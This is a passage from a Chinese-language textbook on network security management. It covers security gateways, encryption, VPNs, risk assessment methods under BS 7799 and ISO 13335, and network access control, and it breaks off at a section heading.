一些形式的恶意代码可以被专用的扫描软件检测到并被清除掉。扫描程序使用于防火墙、文件服务器、邮件服务器以及工作站，用以检测某些类型的恶意代码。再则，为检测出新的恶意代码，重要的一点是，安全管理政策应当确保扫描程序随时得到升级，至少每周进行一次升级。然而，用户和管理员应当认识到，无法依靠扫描程序来检测出所有的恶意代码（甚至是特定类型的所有恶意代码），因为恶意代码的新变种会不断出现。在典型情况下，需要采用其他形式的防护措施来加强扫描程序（在安装了这些程序的情况下）所提供的保护。

连网系统的用户和管理员应当意识到，当处理外部链接用户的事务时，会遇到比与恶意代码相关的普通风险更多的风险。应当制定用户和管理员指导方针，重点强调程序与实际操作，从而把引入恶意代码的可能性减少到最低限度。

用户和管理员在对与网络连接相关的系统和应用程序进行配置时应当特别注意，禁用操作环境中不需要的功能（例如，在配置个人电脑时，可以通过缺省设置来禁用宏，或者要执行宏之前要求用户进行确认）。

6.网络安全管理

任何一个网络的管理工作都应当以安全的方式来进行，并真正为网络安全的管理提供支持。应当通过认真研究所使用的不同的网络协议和相关的安全服务来完成这项工作。

此外，一个组织机构应当对大量的防护措施进行研究，另外，远程监测端口无论是虚拟的还是物理性的，均应当受到保护，防止未经授权访问的侵害。

7.安全网关

根据用文件证明的安全网关服务访问政策（参见下述），适当的安全网关装置将保护组织机构的内部系统并安全管理和控制通过网关的通信流量。

安全网关应当把各逻辑网络分隔开，提供用于限制和分析在两个逻辑网络之间传输的信息的功能，供组织机构作为控制对组织机构的网络进行的访问或从组织机构的网络发出的访问的手段来加以使用，提供可加以控制和管理的进入网络的单一入口，加强组织机构有关网络连接方面的安全政策，提供单一的登录入口。

对于每一个安全网关来说，应当为每一个连接制定和实施单独的服务访问（安全）政策，以确保只有获得授权的通信才能在该连接上传输。必须能够根据通信协议和其他详细规定来分别确定获得许可的各个连接。为确保只有有效的用户和通信能够获得访问通信联系的访问权限，这一政策应当确定并详细记录适用于进入每个网关的和从每个网关输出的通信量的限制与规定，以及通信管理与配置方面的参数。

应当充分利用可用的识别和验证、逻辑访问控制和审计设备，从而保证网关的安全。另外，应当定期检查这些网关，看一下是否使用了未经授权的软件和/或数据，如果发现此类情况，应当根据组织机构的安全性突发事件分析与处理方案，撰写突发事件报告。

需要强调的是，只有在核对了所选择的安全网关满足组织机构的要求，并且在核对了连网所带来的所有风险均能够被安全应对之后，才能进行连网。应当确保安全网关无法被绕过。

8.网络中的数据机密性

在机密性的保护工作十分重要的情况下，应当研究加密防护措施，从而对在网络中传输的信息进行加密。使用加密防护措施的决定应当考虑下列内容：

相关的政府法律法规（特别是在网络连接涉及几个国家或几个部门权限的情况下）；

密钥管理的要求和需加以克服的困难，以确保在不产生新的重大漏洞的情况下真正改善安全状况，以及供所涉及的网络连接类型使用的加密机制的适用性和所要求达到的保护等级。

9.网络中的数据完整性

在完整性的保护工作十分重要的情况下，应当研究数字签名和/或消息完整性防护措施，以保护在网络上传输的信息。

在防止信息的无意或有意修改、添加或删除是首要需求的情况下，消息完整性防护措施（例如，使用消息验证代码）是适用的。

数字签名防护措施可以提供与消息验证防护措施相类似的保护，但还具有允许验证防护措施激活认可程序的特性。使用数字签名或消息完整性防护措施的决定应当考虑到下列内容：相关的政府法律法规（特别是在网络连接涉及几个国家或几个部门权限的情况下）；相关的公开密钥构造；密钥管理的要求和需加以克服的困难，以确保在不产生新的重大漏洞的情况下真正改善安全状况，供所涉及连网类型使用的基本机制的适用性和所要求达到的保护等级，以及与在数字签名协议中所使用的密钥有关的用户或实体进行可靠与可信的注册登记（在必要情况下应加以核实）。

10.可信性

在需要保证提供真实的证据，以证明信息是通过网络传输的情况下，应当考虑诸如下列的防护措施：

提供提交认可的通信协议；

要求提供发信人地址或标识符并检查该信息是否存在的应用协议，检查发送人和收信人地址格式的语法有效性和与相关文件目录中信息的一致性的网关，表明已收到网络传输文件的协议，以及包括允许确定信息序列的机制在内的协议。

在信息传输或接收可以被证明这一点是极为重要的情况下，如果在这一点上存在着争议，那么就应当通过使用标准的数字签名方法来提供进一步的确认。在需要证明信息来源的情况下，信息的发送人应当使用数字签名把信息密封起来。在需要证明已收到的情况下，发信人应当要求收到用数字签名密封的回应。为实现这种确认等级，应当考虑下列内容：

使用得到诸如证明机构之类的可信的第三方支持的认可机制（数字签名、时间戳等），以及相关的公共密钥构造；

使用日志文件机制的日志消息，防止机密和/或私人（签名）密钥被非法使用的机制，和获取解决争议所必须的证明或密钥，以确保其在需要使用时的可用性和完整性（使用时间可能超过了相关密钥材料的使用期限）。

11.虚拟专用网

虚拟专用网（VPN）是一个使用现有的网络基础设施构建的安全专用网络。从用户的角度来看，虚拟专用网很像是一个私营网络，可以提供类似的功能与服务。

在虚拟专用网中，加密技术用于发挥安全功能并提供服务，特别是在构建虚拟专用网的网络是一个公用网络的情况下（例如，因特网）。在大多种情况下，网络参与者之间的通信链接是经过加密的，这样可以确保机密性，而验证协议用于确认连接到虚拟专用网上的系统的身份。典型的情况是，加密信息通过连接到某一组织机构网关上的安全“通道”进行传输，其机密性和完整得以保持。该网络随后识别远程用户，并只允许用户访问那些授权其接收的信息。

对于所有VPN来说，重要的一点是，在连接到虚拟网络的所有系统中采取相应的安全措施，以确保只有经过授权的链接能够连接到其他网络。

虚拟专用网可以用于各类情况，例如：

移动办公的雇员或不在现场的雇员远程访问某一组织机构；

把某一组织机构的各个不同的办公地点链接在一起，包括冗余的链接在内，以构建备用的基础设施；

为其他的组织机构/商业活动建立起连接到某一组织机构网络的链接。

12.灾难恢复计划

采取防护措施，以确保正在执行的商业功能在发生灾难的情况下提供恢复能力，在适当的时间段内恢复中断的部分商业活动。从网络连接的角度来看，必须涉及的方面是，连接的维护、拥有足够能力的备用连接的建立以及恶性事件后连接的恢复。这些方面和需求应当基于商业运作所需连网的重要性以及商业中断情况下所造成的负面影响。在出现中断的情况下，在利用创造性处理方法的灵活性和能力方面，网络互联可以给某一组织机构提供许多便利，但与此同时，这些便利同样也可以意味着漏洞和“单个的故障点”，后者可能给该组织机构造成重大的破坏性影响。


5.1.5 文字表述安全管理政策


文字表述安全管理政策，一方面便于检查是否完整恰当地涵盖了所有应当考虑的保护范围，另一方面也有利于解决与技术制约因素相关的问题以及经常出现的商业需求和安全需求之间的争论。

在用文字表述时，必须适当地考虑公司的IT安全政策需求、相关的网络架构和应用程序以及所制定的潜在防护领域清单。为实现这一目的，应当考虑现有的安全架构。并判断是否在加入这些政策之后，已经可能会修改网络和应用程序的架构。从而进行必要的折衷和审定。

这样，就基本完成了网络安全管理政策架构的制订过程。这之后，组织机构利用潜在防护领域清单和已获准的安全管理政策架构，开始着手进行任务的计划与分配等准备工作，这些任务就是具体安全防护措施的选择、设计、实施和维护。

从以上的论述可以看出，网络安全管理政策的制定，是一个十分复杂的过程，通常需要考虑各种各样的因素。目前，针对网络安全管理政策、信息安全管理政策的制定，已经有了众多的研究论著和相关标准。在此就不进行深入探讨了。


5.2 网络安全风险评估



5.2.1 网络安全风险评估的主要概念


所谓风险评估，就是判断信息技术基础设施的安全状况的能力。风险评估产品或服务可以用来判定组织中的各种各样的主机和网络是否遵从了组织的安全管理政策。因此风险评估的目的就是给出一个完整易懂的IT基础设施安全简图。

作为建立组织内部安全管理政策的一个重要举措，风险评估在一些有关网络安全管理方面的标准中都有所述及。它通常是建立组织网络状况概图的一个必须步骤，另外，周期性的风险评估本身也是网络安全系统的一个必要的组成部分。这一部分中，主要论述有关风险评估的准则以及相关事项。

在信息安全风险评估中，信息资产价值、安全威胁和安全缺陷是风险评估的三个最主要的因素。这三者之间也构成了逻辑上不可分割的有机整体。这主要表现在：（1）信息资产价值表明了被保护对象的重要性和必要性，进行信息安全风险评估，目的正是在于对绝大多数的信息安全资产进行安全防护，因此，对不同价值的安全资产采取不同的强度保护措施，有利于优化资源部署，有效进行防护；（2）安全威胁是具有造成安全风险能力的一类因素。通过明确主要的安全威胁，可以采取不同手段减轻、去除、规避这些威胁，从而达到降低安全风险的目的；（3）安全缺陷，也就是信息资产方面的脆弱点，可以是物理布置、组织、业务流程、人员控制、管理、软件、硬件等方面的薄弱环节或者是固有缺陷。通过弥补安全缺陷，也可以有效地降低安全风险。由上所述，可知，风险评估的过程就是将资产价值、安全缺陷以及安全威胁确定的过程。下面，我们将详细论述这三个组成方面。

1.财产

财产是一个组织直接评定其价值并因此而要求予以保护的东西。为了维持对一个组织的财产的相应保护，对财产进行恰如其分的管理并负起责任则是至关重要的事情。这两个方面应当成为各级管理部门的主要责任。重要的是要起草与每一个 ISMS（信息安全管理系统）相联系的主要财产清单。每一种财产都应当经过清楚的核实并相应地评定其价值，且其所有权和安全等级应一致并形成文件。风险评估的主要内容，就是对组织财产所面临风险的评估。这些财产的例子包括：

信息财产：数据库和数据文件、系统文献、用户手册、培训材料、运行或支持程序、连续的计划；

纸质文件：合同、指导方针、公司文献，包括有重要商业成就的文件；

软件财产：应用程序软件、系统软件、开发工具及各种有用的东西；

有形财产：计算机和通信设备、磁性介质（磁带和磁盘）、其他技术设备（电力供应，空调设备）、家具、膳宿设施；

人员：员工、客户、订户；

公司形象及名誉；

服务：计算与通信服务，其他技术服务（采暖、照明、电力、空调）。

为了核实是否对财产进行了相应的保护，必不可少的是要根据其对商业的重要性对财产价值（和潜在的影响）做出评估或是依据某些机会对其潜在价值进行评估。这些价值一般来说依据不希望出现的事件，诸如机密性、完整性和/或者可用性受到损害的潜在的商业影响予以表达，这些事件有可能导致财务方面的损失和收益、市场份额或者是公司形象方面的损失。为了对这些潜在的损失进行始终如一的评估并说明它们的相应关系，应采用财产的价值尺度，对每一种财产和每一种潜在的损失，即机密性、完整性和可用性的损失来说，都进行赋值。赋值可以采取定量方法，也可以采取简单的分成低、中、高三类的办法来进行。

2.威胁

财产是许多种威胁的目标。威胁具有造成不希望出现的事件的潜力。这种事件可能会导致系统或组织以及该组织的财产受到损害。这种损害可能来自于对一个组织的信息进行直接或间接的攻击，如未被授权的破坏、泄露、修改、腐败和不可用性或损失。威胁可能来自于意外事件或蓄意的来源和活动。为了能够顺利地造成对财产的损害，威胁需要利用该组织所使用的系统、应用程序或服务的安全缺陷（请见下面的内容）。威胁的例子如下。

未经授权地进入系统和使用信息、信息系统和/或者网络和网络服务：一般来说这需要蓄意的行动，以产生或有可能会产生信息机密性、完整性和可用性的丧失，但这又取决于未被授权的用户正在打算做的事情和该用户所拥有的机会。

恶意软件：恶意软件的引进可能是蓄意的也可能是意外的（用户实施的是“值得信任的”软件），它们均会破坏机密性、完整性和/或者可用性。

软件故障：可以是蓄意的或者是意外的事件，且可以导致完整性和/或者可用性的损失。

改变信息的运行路线：由第三方所进行的蓄意改变信息运行路线的举动，是一种甚至在发送者没有予以注意的情况下可能会发生的威胁；它可能会损害信息的机密性、完整性和可用性。

未经授权的对消息/信息的修改：这是一种蓄意的威胁，它可能会危及消息的完整性。

信息窃取：这是一种蓄意的威胁，它能引起机密性和/或者可用性方面的损害。

安全威胁可以通过多种方法来得到。比如说：入侵检测系统的采样分析、模拟的入侵测试、由各个财产的责任人进行估计、专家顾问咨询、安全审计分析等。在定出安全威胁后，也可以采用定量的方式，对各种威胁根据其强度的不同赋予一个恰当的值来表示。

3.安全缺陷

安全缺陷就是与组织的财产相关的弱点，这些弱点可能会导致对这些财产或者其他财产的安全威胁，从而产生财产的损失或损害。安全缺陷本身并不会造成损害，但它却是可能允许威胁对财产产生影响的一种条件或一套条件。安全缺陷的例子包括：

缺少适当的物质保护或进行了不适当的物质保护。

口令的错误选择和使用：可能会导致未被授权地存取由这些口令所保护的系统中的信息，从而危及信息的机密性、完整性和/或可用性。

网络的连接点未进行恰当的访问权限控制保护：可能会导致连网系统中信息的机密性、完整性和/或可用性方面的损失。

文件未加保护的存储：例如，可能会被窃取者所开发，从而导致机密性、可用性和/或完整性方面的损失。

安全培训不足：这可能会导致用户没有意识到安全问题，例如，它可能会危害到机密性，或者是仅仅由于用户的错误而可能会造成完整性和/或可用性方面的损害。

安全缺陷的存在是导致安全风险的内部因素，因此需要进行严密确定。在实际的风险评估过程中，往往采用多种方法，从多个角度进行安全缺陷的确定和赋值，例如：

（1）安全策略文档分析。由有经验的安全人员对组织现存的安全策略和制度进行分析和评估，以发现安全管理制度方面可能存在的缺陷。

（2）安全审计。参照一些通用的安全标准制订一些检查列表，依此为基线来考察信息组织的安全状况，以发现安全缺陷。

（3）自动化的工具扫描。通过安全风险评估系统工具来发现软硬件当中的一些安全漏洞。基于网络的风险评估通常在系统外部执行，因此有时候也被称为是一个扫描器。这种系统可以汇报组织外部对组织内的一个情况判断，比如说防火墙内部有多少机器，哪些端口是开的，等等。基于主机的风险评估则一般来说检查主机系统上的服务器、文件系统、进程、内核等信息。目前，一些风险评估产品都融合了两者的特点：一个核心系统，能够通过网络扫描以进行风险评估，同时具有数据汇总和报告功能，另一部分则是分散于各个系统上面的主机风险评估工具，这些工具通过系统扫描得到一些无法从外部得到的信息，然后交给核心系统汇总处理。这些自动化的工具，通常能够给出一个更全面的安全漏洞技术报告，因此能够简化一些工作。

（4）模拟入侵测试。通过邀请一些在入侵方面较有经验的人员对特定信息资产的模拟入侵，可以确保信息资产没有出现大的安全缺陷。

（5）顾问咨询、人工评估。通过对组织内外的一些有经验的人的访谈或者咨询，得到对组织安全缺陷的一个估计。

安全缺陷也可以采用定量或定性的方式来描述其严重程度。

通过以上三个方面，就可以基本确定安全风险的程度了。安全风险是所受到的威胁将会开发易受攻击性从而会造成一种财产或一组财产的损失或损坏，并从而直接或间接损害到该组织的潜力。有了安全的风险，从而产生了安全的需求。在核实由安全风险所引起的安全要求时，重要的是要明白安全风险会对业务造成什么样的损害。达到此目的的可能的途径，则是要考虑到下面列举的有关风险评估过程，尤其是财产价值评定的问题清单：（1）业务中最重要的部分是什么？如何通过使用或处理信息而使它们得到支持？这种支持重要程度如何？（2）哪些至关重要的决定取决于信息的准确度、完整性或可用性或者这一信息至今的情况如何？（3）哪些机密信息需要加以保护？（4）安全事件对业务或者是对该组织的影响（与信息有关的）是什么？

形成ISMS（信息安全管理系统）文件的安全要求，主要有三个来源：

如果发生的话，则可能会导致商业方面的重大损失的特定安全风险；

必须由该组织、其贸易伙伴、合同方和服务提供者予以满足的法定的契约性要求；

一个组织开发出来支持其商业运作和进程并用于该组织的信息系统的、为信息处理工作设定的一套特定的原则、目标与要求。

一旦这些安全要求得到了核实，就有助于使它们作为对机密性、完整性和可用性的要求而得到系统的阐述。从而避免安全风险。首先我们简要介绍一下三个需求来源。

法律法规和契约方面的要求是安全需求的一个重要来源。涉及一个组织、其贸易伙伴、合同方和服务提供者必须予以满足的一套法定的契约性要求的安全要求，应在 ISMS（信息安全管理系统）中形成文件。例如，对专有软件拷贝的管理、保护组织记录的安全，或者是对数据的保护来说，重要的是 ISMS（信息安全管理系统）支持这些要求，且至关重要的是要落实之，或者是在没有对每一种信息系统都进行安全控制的情况下，不要破坏任何法定的刑事上的或民事上的义务或者是商业合同。

组织上的原则、目标和要求等这些与整个组织为支持其业务运作的信息处理而提出的原则、目标和要求有关的安全要求，也应当在ISMS（信息安全管理系统）中形成文件。例如，对竞争优势、现金流动或赢利来说，重要的是ISMS（信息安全管理系统）要支持这些要求，且至关重要的是要落实它们，或者是在没有对每一种信息系统都进行安全控制的情况下，不要阻碍有效的商业运作。这些安全要求中的每一条，都应当成为ISMS（信息安全管理系统）所包括的信息的机密性、完整性和/或可用性的条款。

安全控制，诸如BS 7799中所定义的那些，则是一些做法、程序或机制。它们可以保护网络免受威胁，降低易受攻击性，限制事件的影响，或者是以其他的方式保护网络免受风险。一般来说，有效的安全则要求能够执行一种或多种下列职能的控制系统的结合：发现、制止、预防、限制、纠正、恢复原状、监视和认识。

由此可见，这三个需求是和形成 ISMS文件的安全要求相一致的。在下一个部分中，我们将简要介绍风险评估的过程。


5.2.2 风险评估过程


1.评估的核实与价值评定

为了确保没有财产被忽略或被遗忘，在核实财产前应认真地建立审核界限（例如 ISMS （信息安全管理系统）的界限）。审核范围内的所有财产都应加以核实。核实财产最容易的方法是列出认为对商业进程、对该组织或者是对该组织特定的部分（例如对于 ISMS（信息安全管理系统）范围内的那些信息系统）有价值的所有东西，然后对这些财产中的每一项都进行赋值。所赋的值代表着这些财产对该组织业务的重要性。这可以根据因泄露、修改、丧失信息的可用性和导致信息和其他系统财产受到破坏而造成的潜在的商业影响而表示出来。评估的核实和价值的评定，主要基于组织的商业需求，它在 ISMS（信息安全管理系统）所含的风险确定过程中，是一个主要方面。

财产赋值的依据，应由财产的“所有者”和用户来提供，即由那些对该组织及其业务来说有权谈论财产的重要性，尤其是信息的重要性的人所提供。

所赋予的值，应当涉及获得和维持这些财产的成本和由于损害了机密性、完整性和可用性而造成的潜在的有害的商业影响。而且必不可少的是要以非财务的方式制订价值或重要性的范围，例如对该组织的定性和定位。否则，就很难核实该组织应当致力于其财产保护的保护水平及投入的资金数量。此类价值评定尺度的例子可为：

低、中、高之间的差别；或更加详细的方式，即可忽略—低—中—高—非常高；1（低）到10（高）的定性尺度。

最终，所有财产的价值评定都应达到大致明确无误的水平上。借助于下面所列的标准即可做到这一点。可用于评估因财产的机密性、完整性或可用性受到破坏而造成的可能的损害的标准为：

不符合法律法规；

损害商业的行为；

损害良好意愿、对声誉和形象有负面的影响；

破坏了与人员的联系；

危害了个人的安全；

对法律实施有不利的影响；

破坏了商业机密；

破坏了公共秩序；

财政上的损失；

破坏了商业活动；

危及了环境安全。

另外，一个组织应当为财产价值定义其自己的界限，如“低”、“中”或“高”。这些界限应当根据所选择的标准，如可能的财务损失来进行评估，它们应当以货币价值的形式来表示，不过，在一些情况下，例如，当认为对人员的安全有危害时，以货币定值则是不适宜的。总的来说，一个组织应当考虑使用一种尺度，它应当根据需要和所采用的标准来解决数量质量方面的价值。最后，该组织完全应当负责的是决定什么是“低度的”损害，什么是“高度的”损害，不同的组织通常标准有所不同，例如，对于一个小型的组织来说，一种损害可能是灾难性的，而这种损害对于一个非常巨大的组织来说，则微不足道。

2.威胁的评估

用于支持威胁评估的信息可以从那些参与了 ISMS（信息安全管理系统）及其所涉及的商业过程的人员处获得。这些人，可以是部门人员、设施规划和信息技术专家，或负责该组织内的安全工作的人员等。除了这一途径之外，也可以利用威胁清单来进行评估。

在核实了威胁（是什么以及产生原因）和威胁的目标（例如，组织信息系统的哪些内容可能会受到这一威胁的影响）后，必须做的就是评估这些威胁的可能性。在做这一工作时应当考虑到：

威胁的频率——根据经验、统计等，得出其多长时间发生一次；

蓄意威胁——动机、所发现的能量和必须对付的情况、可用于对付可能的攻击者的资金、组织的财产对可能的攻击者的吸引力，以及攻击者对安全缺陷的了解程度；

意外威胁——地理因素，诸如接近化工厂或石油工厂、位于总是有可能发生极端的气候情况的地区，以及那些可能会使人犯错误或使设备失灵的因素。

3.安全缺陷的评估

这一评估包括核实涉及审核范围的弱点：

自然环境；

人员、管理和行政程序及控制系统；

硬件、软件或通信设备与设施。

这些情况均可能被威胁源所利用，从而造成对财产和它们所支持的业务的损害。重要的是要评估安全缺陷究竟严重到何种程度，换言之即它们能够多容易地被利用产生安全威胁。相应地，可以以某种尺度来对易受攻击性进行衡量，诸如：极有可能、很可能、可能、不一定、不可能。

应针对特定情况下有可能会被利用的每一种威胁，对安全缺陷进行评估。例如，系统可能会具有受到伪装用户身份和滥用资源这种威胁的安全缺陷。由于缺少用户身份认证，所以伪装用户身份而进行的攻击则可能会很高。另一方面，滥用资源的攻击则可能会很低，因为即使在缺少用户身份认证的情况下，资源被滥用的途径也会受到限制。

4.核实现有的和已计划好的安全控制系统

在风险评估和风险管理审议后所核实的安全控制系统，应当添加到任何现有的或已计划好的控制系统中去。而且，应当将此现有的或已计划好的控制系统作为这一过程的一部分来进行核实，以避免不必要的工作和增加控制成本，比如说产生了重叠控制。也可以核实现有的或已计划好的控制系统是否正确。这时，应当检查这种控制是否可以去掉，从而由另一个更加适合的控制系统取而代之，或者还是应当保留（例如，出于成本方面的原因）。

此外，应当注意，在风险评估和风险管理审议后所选择的安全控制系统，是否与现有的或已计划好的控制系统相兼容，应当保证所选择的控制系统和现有的控制系统不相互妨碍。

5.风险评估

风险评估的目标是核实和评定一个组织及其财产所面临的风险，以核实并选择证明是正确的相应的安全控制系统。这是 ISMS（信息安全管理系统）发展中的一个重要阶段。影响风险的因素有：处于风险中的财产、引起消极商业影响的威胁的可能、经过核实的威胁、利用安全缺陷的难易程度，以及可能会降低这些风险的现有的或已计划好的控制系统的功能等。

存在着考虑这些因素的不同方法：例如，对财产、安全缺陷和安全威胁进行量化赋值，以结合起来获得风险程度。这些值的获得，有很多种途径，但无论是采取何种方式对风险的程度进行评估，这一步的结果，都应该是将所测得的风险，按照泄露、修改、不可用的每一项影响和在 ISMS（信息安全管理系统）所认可的范围内对一个组织的每一项财产的破坏，列出一份清单。


5.2.3 评估方法的选择


以上我们提供了对整个风险评估过程的叙述。这里则阐述一下各组织范围内处理风险评估办法的选择问题，以便使所投入的时间与努力、情况了解的深度、在风险评估方法方面所采用的手段，都能与该组织的环境与安全需求相适应。

例如，如果一个组织中其财产最低要将其安全需求维持在中等水平上，则采取基本的风险评估处理办法就足够了。如果安全要求更高，而且需要更加详细的专业性处理办法，则可能就必须采取详细的风险评估处理办法了。整个组织内采取的相应处理办法，应着重于在成本和时间上进行有效的折衷。

1.基本的风险评估

基本的风险评估包括选择一套简单的安全控制系统。这种处理办法可以使一个组织能够在核实和评估该组织的基本的和必不可少的要求的基础上，达到基本的保护水平，以建立其ISMS（信息安全管理系统）。利用直接而又容易使用的处理办法达到基本的安全水平，则可能就成了能够满足该组织及其商业环境需要的所有事情。

使用这种处理办法的典型例子是一个商业运作并不非常复杂且其对信息处理及网络的依赖也并不广泛的组织。例如，一般来说，这可能是大多数中小企业所面临的一个情况。不过，也可能会有这样的中小企业，其业务环境更加复杂，它们广泛使用以信息系统为基础的技术，并参与了商业上敏感的信息的处理工作。就BS 7799而言，这种处理办法将系统地评估该组织对信息及所认为的财产提出的安全要求，同时也要核实那些应当予以满足的控制目标以及能够满足这些目标的一套控制系统的选择。这种处理办法应当考虑到来自所有来源的安全需要。基本的风险评估过程如表5.5所示。


表5.5 基本的风险评估过程
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在这种处理办法中，使用非局部的或者是普遍所知的威胁和易受攻击性的清单，以帮助、指导及指引这些评估活动背后的思考过程。在ISO 13335第四部分中讲述了这种基本处理办法和相关的控制系统选择的更多详情。

如有必要，则可以制订这种处理办法以提供更加精细的评估。例如，此类处理办法可能包括两种威胁和易受攻击等级（即高和低两个等级），以及利用预先确定的尺度评定财产的价值（例如高价值的和低价值的）。

表5.6中的数字（从0到4）代表的是风险的规模。


表5.6 风险规模的对应关系
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这种处理方法通常用于评估一种威胁/安全缺陷与另一种威胁/安全缺陷相比是否更为严重或者是核实哪些财产需要更多保护。这种风险的衡量方法可能被用于决定何种风险应当首先予以考虑或哪些需要最多的注意力。

使用“基本风险评估”这种处理办法的优势在于：

（1）风险评估需要较少的资金，在控制系统选择上的时间和精力投入也会降低。正常情况下，不需要大量的资金来核实适宜的控制系统。

（2）在不做出很大的努力的情况下，即可为许多 ISMS（信息安全管理系统）匹配相同的或类似的控制系统。如果一个组织的大量 ISMS（信息安全管理系统）都运行在相同环境中，且如果该业务需要是可比的话，则这些控制系统可以提供成本/效益上较理想的解决办法。

这一处理办法的缺点包括：

（1）如果安全等级设置得过高，则开销可能会太昂贵，或者是为某些系统所选择的控制系统过于严格；而如果该等级过低的话，则某些系统可能会缺乏足够的安全防护。

（2）在对付安全相关的变化方面可能会存在一些困难。例如，如果 ISMS（信息安全管理系统）进行了升级，它可能就难以评估原来的控制系统是否仍然能够胜任。

2.详细的风险评估

这种风险评估包括财产的详细核实与价值评定，以及对那些财产的威胁水平和相关安全缺陷的评估。这些信息可以用于评估风险，随后则被用于安全系统的核实与选择。

通过管理工作使这些控制系统匹配，并通过核实对财产的风险是否已经降低到可以接受的水平上来验证其正确性。

详细的风险评估可能是一种资源非常集中的过程，因此，需要慎重地制定信息系统范围内的商业环境、经营活动、信息和财产的界限，以进行评估。它也是一种需要有持续的管理层注意的处理办法。

就BS 7799 而言，这种处理办法将包括对信息和被认为是ISMS（信息安全管理系统）的其他财产所遭受的风险进行详细而系统的评估。

这种处理办法将作为评估对商业环境、经营活动和受到评估的信息构成的威胁和易受攻击性的一种功能，来核实并评估这些安全风险。

根据评估过的风险，则可以从BS 7799中选择涉及应当予以满足的那些控制目标的控制系统。这种全面的处理办法，不同于基本风险评估处理办法。在详细的风险评估中，对财产、威胁和安全缺陷进行了大量的更加详细的分析，并使用了下列方法：

专门用于以下内容的各种测量方法和价值：

财产（以表示它们的价值和商业重要性）；

威胁（以表示它们的严重程度或严重性）；

安全缺陷（以表示它们的弱点或敏感性的程度与规模），和显示这些测量方法和价值的关系的评估方法，以获得风险的规模。

详细的风险评估过程见表5.7。


表5.7 详细的风险评估过程
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续表
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这种处理办法的优点为：

由于进行了能够更加准确地反映该组织ISMS（信息安全管理系统）每一项安全要求的安全等级的核实工作，获得了对安全风险更加准确的审查。

安全相关的变化的管理，得益于从详细的风险评估中所获得的额外信息。

这种处理办法的劣势为：为了得到可行的结果，则要占用大量的时间，付出大量的努力并听取大量的专家意见。

3.结合性处理办法

这种处理办法包括，首先要核实 ISMS（信息安全管理系统）范围内处于潜在高风险之中的或者是对使用“基本的风险评估”处理办法时对商业运作至关重要的那些财产。基于这些结果，将ISMS（信息安全管理系统）范围内的财产分类为需要予以“特殊对待的”（采用详细的风险评估），以获得相应的保护，或者是分类为需要予以“一般对待的”（通过“基本的风险评估”为其选择控制系统）就足够了。这种处理办法则是上面所述的那些处理办法优点的结合。随之，它就能使花在核实控制系统上的时间和精力最为有效，而同时又保证了一个组织的所有财产都能得到相应的评估和保护。

除了具有这两种处理办法的综合优点外，它还具有以下优点：资源和钱财能够用于最为有利的地方，而且一个组织可能处于高风险之中的信息系统的问题，可以很容易得到解决。

这种处理办法的缺点是：如果处于高风险中的那些信息系统的核实不准确的话，则可能会导致结果的不准确，例如，需要进行“详细的风险评估”的系统是否仅使用了“基本的风险评估”处理办法。

4.选择合适的风险评估办法

如本节以前内容所述，存在着几种一个组织可以用于风险评估的不同的处理办法，这些处理办法各有各自的优缺点。哪种处理办法适合于一个组织，取决于大量的因素，其中包括：

该组织的商业环境；

该组织的业务性质和重要性；

对以支持该组织的业务的信息系统为基础的技术和非技术的依赖程度；

业务和支持系统、应用程序及服务的复杂性；

贸易伙伴的数量和对外业务及合同关系。

对所有企业来说，这些因素都是共同的因素，因此，在选择适合整个组织的处理办法时，一个组织则需要连同这些处理办法的优点和缺点一道考虑这些因素。而一个组织应对做出采取何种处理办法的决定负责。按照一般的经验来说，对一个组织来说，业务面临的风险越大，可能的损失越大，则安全就越重要，而投入安全方面的资金和时间也越多。


5.3 网络访问控制和防火墙



5.3.1 访问控制简介


访问控制是网络安全防范和保护的主要策略，它的主要任务是保证网络资源不被非法使用和访问。它是保证网络安全最重要的核心策略之一。访问控制涉及的技术也比较广，包括入网访问控制、网络权限控制、目录级控制以及属性控制等多种手段。

1.入网访问控制

入网访问控制为网络访问提供了第一层访问控制。它控制那些能够登录到服务器并获取网络资源的用户，控制准许用户入网的时间和准许他们在哪台工作站入网。用户的入网访问控制可分为三个步骤：用户名的识别与验证、用户口令的识别与验证、用户账号的缺省限制检查。三道关卡中只要任何一关未过，该用户便不能进入该网络。对网络用户的用户名和口令进行验证是防止非法访问的第一道防线。用户还可采用一次性用户口令，也可用便携式验证器（如智能卡）来验证用户的身份。网络管理员可以控制和限制普通用户的账号使用、访问网络的时间和方式。用户账号应只有系统管理员才能建立。用户口令应是每用户访问网络所必须提交的“证件”，用户可以修改自己的口令，但系统管理员应该可以控制口令的以下几个方面的限制：最小口令长度、强制修改口令的时间间隔、口令的惟一性、口令过期失效后允许入网的宽限次数。用户名和口令验证有效之后，再进一步履行用户账号的缺省限制检查。网络应能控制用户登录入网的站点、限制用户入网的时间、限制用户入网的工作站数量。网络应对所有用户的访问进行审计。如果多次输入口令不正确，则认为是非法用户的入侵，应给出报警信息。

2.权限控制

网络的权限控制是针对网络非法操作所提出的一种安全保护措施。用户和用户组被赋予一定的权限。网络控制用户和用户组可以访问哪些目录、子目录、文件和其他资源。可以指定用户对这些文件、目录、设备能够执行哪些操作。受托者指派和继承权限屏蔽（IRM）可作为两种实现方式。受托者指派控制用户和用户组如何使用网络服务器的目录、文件和设备。继承权限屏蔽相当于一个过滤器，可以限制子目录从父目录那里继承哪些权限。我们可以根据访问权限将用户分为以下几类：特殊用户（即系统管理员）；一般用户，系统管理员根据他们的实际需要为他们分配操作权限；审计用户，负责网络的安全控制与资源使用情况的审计。用户对网络资源的访问权限可以用访问控制表来描述。

3.目录级安全控制

网络应允许控制用户对目录、文件、设备的访问。用户在目录一级指定的权限对所有文件和子目录有效，用户还可进一步指定对目录下的子目录和文件的权限。对目录和文件的访问权限一般有八种：系统管理员权限、读权限、写权限、创建权限、删除权限、修改权限、文件查找权限、访问控制权限。用户对文件或目标的有效权限取决于以下两个因素：用户的受托者（获准访问文件、目录或对象的用户成为受托者，即Trustee）指派、用户所在组的受托者指派，以及继承权限屏蔽取消的用户权限。一个网络管理员应当为用户指定适当的访问权限，这些访问权限控制着用户对服务器的访问。八种访问权限的有效组合可以让用户有效地完成工作，同时又能有效地控制用户对服务器资源的访问，从而加强了网络和服务器的安全性。

4.属性安全控制

